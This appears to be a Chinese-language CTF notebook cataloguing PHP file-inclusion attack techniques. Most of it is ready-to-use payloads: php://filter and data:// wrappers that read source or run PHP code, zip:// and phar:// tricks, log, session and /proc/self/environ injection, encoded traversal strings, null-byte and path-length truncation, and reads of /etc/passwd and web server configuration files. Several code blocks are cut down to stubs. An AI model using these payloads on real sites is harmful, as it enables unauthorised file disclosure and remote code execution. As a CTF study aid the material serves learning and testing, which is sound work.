前言
本篇文章专门用于记录做文件包含类题目的做题姿势,会不断更新。
- LFI:Local File Inclusion,本地文件包含漏洞,大部分情况下遇到的文件包含漏洞都是LFI
- RFI:Remote File Inclusion,远程文件包含漏洞,要求allow_url_fopen=On(默认为On) ,规定是否允许从远程服务器或者网站检索数据;allow_url_include=On(php5.2之后默认为Off) ,规定是否允许include/require远程文件
php常见文件包含函数
1 | include():遇到错误生成警告,继续执行脚本 |
文件包含漏洞的利用
php伪协议
php://input(allow_url_include=On)
遇到file_get_contents()要想到用php://input绕过
1 | 构造?file=php://input |
php://filter
可以使用的函数:readfile()、file()、file_get_contents()、include()
1 | ?file=php://filter/read=convert.base64-encode/resource=index.php |
data://
要求allow_url_fopen=On,allow_url_include=On
1 | ?file=data://text/plain,<?php phpinfo()?> //执行phpinfo() |
zip://
zip:// 可以访问压缩包里面的文件。
zip://中只能传入绝对路径;要用#分隔压缩包和压缩包里的内容,且#要用url编码%23代替
1 | ?file=zip://D:\file.zip%23flag.txt |
- D:\file.zip表示压缩包的绝对路径
- 后跟%23分割压缩包和压缩包中要访问的文件名
phar://
类似zip://,相对路径和绝对路径都可以使用,不管后缀名是什么都会将文件当作压缩包解压
1 | ?file=phar://D:\file.zip\flag.txt //绝对路径 |
包含日志文件
日志和配置文件默认存放路径
1 | apache+Linux日志默认路径 |
1 | apache+win2003日志默认路径 |
1 | IIS6.0+win2003默认日志文件 |
1 | IIS7.0+win2003 默认日志文件 %SystemDrive%\inetpub\logs\LogFiles |
1 | nginx 日志文件 |
1 | apache+linux 默认配置文件 |
1 | IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml |
1 |
|
session常见存储路径
php的session文件的保存路径可以在phpinfo的session.save_path看到,
session文件格式: sess_[phpsessid] ,phpsessid在发送的请求的 cookie 字段中可以看到
1 | /var/lib/php/sess_PHPSESSID |
包含系统文件
包含 /pros/self/environ
条件
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
绕过
过滤read、resource
1 | ?f=php://filter/convert.base64-encode/resource=login.php(过滤了操作名read) |
1 | ?f=php://filter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(正则 /resource=*.jpg/i) |
过滤 ../
利用url编码
- ../
- %2e%2e%2f
- ..%2f
- %2e%2e/
- ..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
二次编码
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
容器/服务器的编码方式
- ../
- ..%c0%af
- %c0%ae%c0%ae/
- java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点
- ..\
- ..%c1%9c
截断包含
要求
- php版本小于5.3.4
- magic_quotes_gpc=off
原理
- Windows下目录最大长度为256字节,超出的部分会被丢弃
- Linux下目录最大长度为4096字节,超出的部分会被丢弃。
1 | <?php |
1 |
|
url绕过
1 | ?file=http://localhost:8081/phpinfo.php? |
1 | ?file=http://localhost:8081/phpinfo.php%23 |
%00截断包含
1 | ?p=../hanguo/test.php%00 |
列目录
条件:magic_quotes_gpc=off
1 | ?file=../../../../../../../../../var/www/accounts/%00 |
路径遍历
1 | ?file=../../../../../../../../../var/lib/locate.db |
路径截断
1 | ?file=../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././ |
点号截断(windows下)
1 | ?file=../../../../../../../../../etc/passwd……………. … |
利用phar://协议绕过waf检测
版本要求:php 5.3.0 起
利用php伪协议读取php文件内容
1 | data要求: |
poc
1 | data:text/plain,<?php phpinfo();?>%00data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= |
php://filte
1 | 要求: |
远程文件包含要求:allow_url_fopen:on
长度截断利用条件: php版本 < php 5.2.8
使用截断包含 绕过拼接后缀名
00截断
%00
长目录名截断
windows下 最大长度为256Linux下最大为4096子节,超出部分会被丢弃
phar://(php>5.3.0起)
phar://支持zip、phar格式的压缩(归档)文件,无视后缀(也就是说jpg后缀照样给你解开来),?file=phar://压缩包路径/压缩包内文件名,绝对路径和相对路径都行。
利用方法:index.php?file=phar://test.zip/test.txtindex.php?file=phar://test.xxx/test.txt
制作phar文件(php5.3之后)
设置php.ini中phar.readonly=off
制作生成脚本
1 | <?php |
生成脚本2
1 | <?php |